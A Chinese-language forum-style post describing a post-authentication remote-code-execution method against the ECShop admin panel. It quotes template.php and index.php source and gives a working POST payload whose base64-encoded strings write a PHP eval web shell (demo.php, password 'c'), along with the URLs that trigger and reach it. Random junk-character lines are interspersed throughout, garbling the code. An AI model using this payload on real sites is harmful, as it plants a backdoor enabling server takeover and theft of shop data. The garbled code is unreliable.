Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
- ?7 q$ d6 {; b0 [2 F% }2 {% @7 o, @
而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
9 ~. |8 ^9 i) F5 D' b但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php

1 if ($_REQUEST['act'] == 'update_library')
5 B% I& C6 A% ~2 q& j& t* Y8 v
- S3 {1 o. w) Z4 B; G: P1 [2   

3 {

+ j; Q- d" a3 m. @  b0 `4     check_authz_json('library_manage');

. y1 \1 X# I' p# u) H$ k2 P6 |5   
% a' A, H3 P! A
" i( U0 t% W$ e! s; b6     $html = stripslashes(json_str_iconv($_POST['html']));
: F% g. Z6 g5 ~/ ?. v
7   
5 z0 q  {7 o* X! T& T
0 m0 M0 O7 _' w# E- z# T8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
6 X4 }" \, R# Q. J, O  M
1 G- y9 h, o5 n. I9   

! F8 Q4 m/ h2 w  }+ y+ ?! R10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
  o1 R0 ^& Y. V2 x4 W# ^# H
11   

4 E0 @9 L6 `% L+ q5 I& d12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
* |# U  r$ C( ~5 M- ~
0 m% V4 l% |4 n, B* S" S5 e7 |$ h13   
3 N& N) _/ S5 h2 g$ @
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
7 o4 P# d  d. n7 V3 w# L# I
# |* V& P9 n1 H6 o7 o, x15     {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
& {: |' J% n# n0 H
17         make_json_result('', $_LANG['update_lib_success']);

) s4 }6 R1 |, i+ m5 v& P1 x; i3 i8 f18     }
  X; U' w1 {* i6 c, U  |) i; c
' z$ c6 p# d. W19     else
" w$ X) ~# o( b; D" ^
4 I0 r6 q* Q. w, _6 q20     {
& [9 ~% F( v5 Z% w. J$ B
# E. u4 x9 q6 e1 q21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
( e8 E' [. T5 T2 [( {/ k
22     }
0 J2 S" o( E8 x0 Y1 ?* o. Q
+ @3 g2 d) r; J3 I' N! p: P8 c" x23 }

那么找个比较方便调用了模板的文件
9 f& W) j4 k/ z( x) A5 Cindex.php

! h, N) T- j5 c# R& k9 A1 if ($act == 'cat_rec')
: u, ~% N: Y2 U2 G! Q
- c( f( E: I# |3 x2   

, g( ^% M2 X# x$ Y$ `- n% j3 {

: ]# L8 g" i$ ^& \* {/ H! d4   

5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
( @( Q# V* [! V5 [! g
1 r# x4 e5 S4 `1 ?6   
  m. E3 a! L9 g8 K, R" e& B. d6 w
5 p& l' d9 p- N4 K7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

1 }8 T6 q+ Z0 t8 n! H& d- A8   

9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   
8 G  I5 H# {% U" k) O8 F
11     include_once('includes/cls_json.php');

12   

  h4 m0 U3 H% F* i13     $json = new JSON;

14   
/ i" i/ G) R) f
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   

$ }8 b- W. B4 e17     $children = get_children($cat_id);

1 a" e9 V# {( j5 i" _( a7 _0 Q18   
, g  F5 A8 {2 W
$ E- I2 G( [$ t7 w5 C6 N19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

1 N5 \0 z; [9 x7 z4 y20   
2 h6 q1 l* a3 t% _! o; y
# ^/ o& {/ V; [" b21     $smarty->assign('cat_rec_sign', 1);
1 C$ D$ U1 G& H5 j: i( f
, F  v( w. D& r( G) `22   
, J1 }0 Z. f/ {
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

/ r& B" _% c6 ^: p# ^1 M24   
" r9 j! D* Y2 r1 }6 |6 G
! B9 m) b+ P* K( G/ }! ]25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   
# _0 l2 J- n- @: ^$ V) J# x4 A5 [
( ]  r- }5 U" I3 y; z27         echo $rec_array[$rec_type];
$ O+ Q, n7 S5 f& r6 ~5 j+ l& X
28   

5 f6 p& ]8 T2 ]0 s# @29     die($json->encode($result));

30   

2 |7 C  {# F; ?# X0 M& @31 }

那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
0 D% _6 R  Z# _1 P; Q% g, RPost内容：
( d3 `+ s& O  W& a0 h; J" h  U
' o' y2 q7 ^  q) E0 ~​
% |) \9 b: u, Z0 M. ]1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
' h5 e$ f7 l  @
然后访问http://localhost/ec/index.php?act=cat_rec

8 C& Q$ _  P- p" {$ |shel地址：http://localhost/ec/demo.php
# p0 {/ a, x+ Q. U密码c
- c% Y9 \2 N( ]: ~